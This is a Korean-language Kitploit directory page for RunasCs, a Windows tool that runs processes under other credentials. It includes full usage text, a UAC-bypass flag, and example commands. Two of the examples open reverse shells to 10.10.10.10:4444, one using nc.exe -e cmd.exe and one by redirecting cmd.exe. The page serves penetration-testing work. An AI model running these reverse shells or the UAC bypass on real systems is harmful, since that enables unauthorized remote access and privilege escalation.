Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
RunasCs — RunasCs - Csharp and open version of windows builtin runas.exe | Kitploit
도구/GitHubGitHub/antoniococo/runascs
Privilege EscalationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs - Csharp and open version of windows builtin runas.exe

저장소 보기
1.4k1612년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

RunasCs


RunasCs는 명시적 자격 증명을 사용하여 현재 사용자의 로그온이 제공하는 권한과 다른 권한으로 특정 프로세스를 실행하는 유틸리티입니다. 이 도구는 Windows 기본 제공 runas.exe의 개선된 오픈 버전으로, 몇 가지 제한 사항을 해결합니다:

  • 명시적 자격 증명 허용
  • 대화형 프로세스 및 서비스 프로세스에서 모두 작동
  • 새 프로세스 생성을 위해 Window Stations 및 Desktop의 DACL을 제대로 관리
  • 호출 프로세스에 필요한 권한이 있는 경우 CreateProcessAsUser() 및 CreateProcessWithTokenW()와 같은 더 안정적인 프로세스 생성 함수 사용(자동 감지)
  • 로그온 유형 지정 가능(예: 8-NetworkCleartext 로그온, UAC 제한 없음)
  • 관리자 암호를 알고 있을 때 UAC 우회 허용(--bypass-uac 플래그)
  • 요청한 사용자를 가장하는 메인 스레드로 프로세스 생성 허용(--remote-impersonation 플래그)
  • stdin, stdout 및 stderr를 원격 호스트로 리디렉션 허용
  • 오픈 소스입니다 :)

RunasCs는 모든 컨텍스트에 가장 적합한 프로세스 생성 함수를 결정하는 자동 감지 기능을 가지고 있습니다. 호출자 프로세스 토큰 권한에 따라 다음 선호 순서로 프로세스 생성 함수 중 하나를 사용합니다:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

요구 사항


.NET Framework >= 2.0

사용법


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

두 프로세스(호출 프로세스와 피호출 프로세스)는 하나의 파이프를 통해 통신합니다(stdout 및 stderr 모두). 기본 로그온 유형은 2(Interactive)입니다.

기본적으로 Interactive(2) 로그온 유형은 UAC에 의해 제한되며 이러한 인증에서 생성된 토큰은 필터링됩니다. 다음 레지스트리 키를 0으로 설정하고 서버를 다시 시작하면 제한 없이 대화형 로그온을 만들 수 있습니다:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

그렇지 않으면 --bypass-uac 플래그를 사용하여 토큰 필터링 제한을 우회해 볼 수 있습니다.

NetworkCleartext (8) 로그온 유형은 로컬 토큰에서 UAC에 의해 필터링되지 않고 인증 패키지에 자격 증명을 저장하므로 네트워크를 통한 인증도 허용하는 가장 넓은 권한을 가진 유형입니다. 충분한 권한이 있다면 항상 --logon-type 8 플래그로 이 로그온 유형을 지정하세요.

기본적으로 호출 프로세스(RunasCs)는 생성된 프로세스의 실행이 끝날 때까지 대기합니다. 백그라운드 또는 비동기 프로세스(예: 리버스 셸 생성)를 생성해야 하는 경우 -t timeout 파라미터를 0으로 설정해야 합니다. 이 경우 RunasCs는 새로 생성된 프로세스의 실행이 끝날 때까지 기다리지 않습니다.

참고 자료


  • Potatoes 및 토큰
  • C++에서 대화형 클라이언트 프로세스 시작
  • 입력 및 출력이 리디렉션된 자식 프로세스 만들기
  • 대화형 서비스
  • "The application failed to initialize properly (0xc0000142)" 오류는 무엇인가?
  • 대화형 서비스 계정 셸 얻기
  • UAC 우회하기 (1부)
  • UAC 우회하기 (2부)
  • UAC 우회하기 (3부)
  • Vanara - 다양한 네이티브 Windows API에 대한 PInvoke 호출과 지원 래퍼를 구현하는 Windows용 .NET 라이브러리 세트

크레딧


  • @decoder
  • @qtc-de
  • @winlogon0
도구 다운로드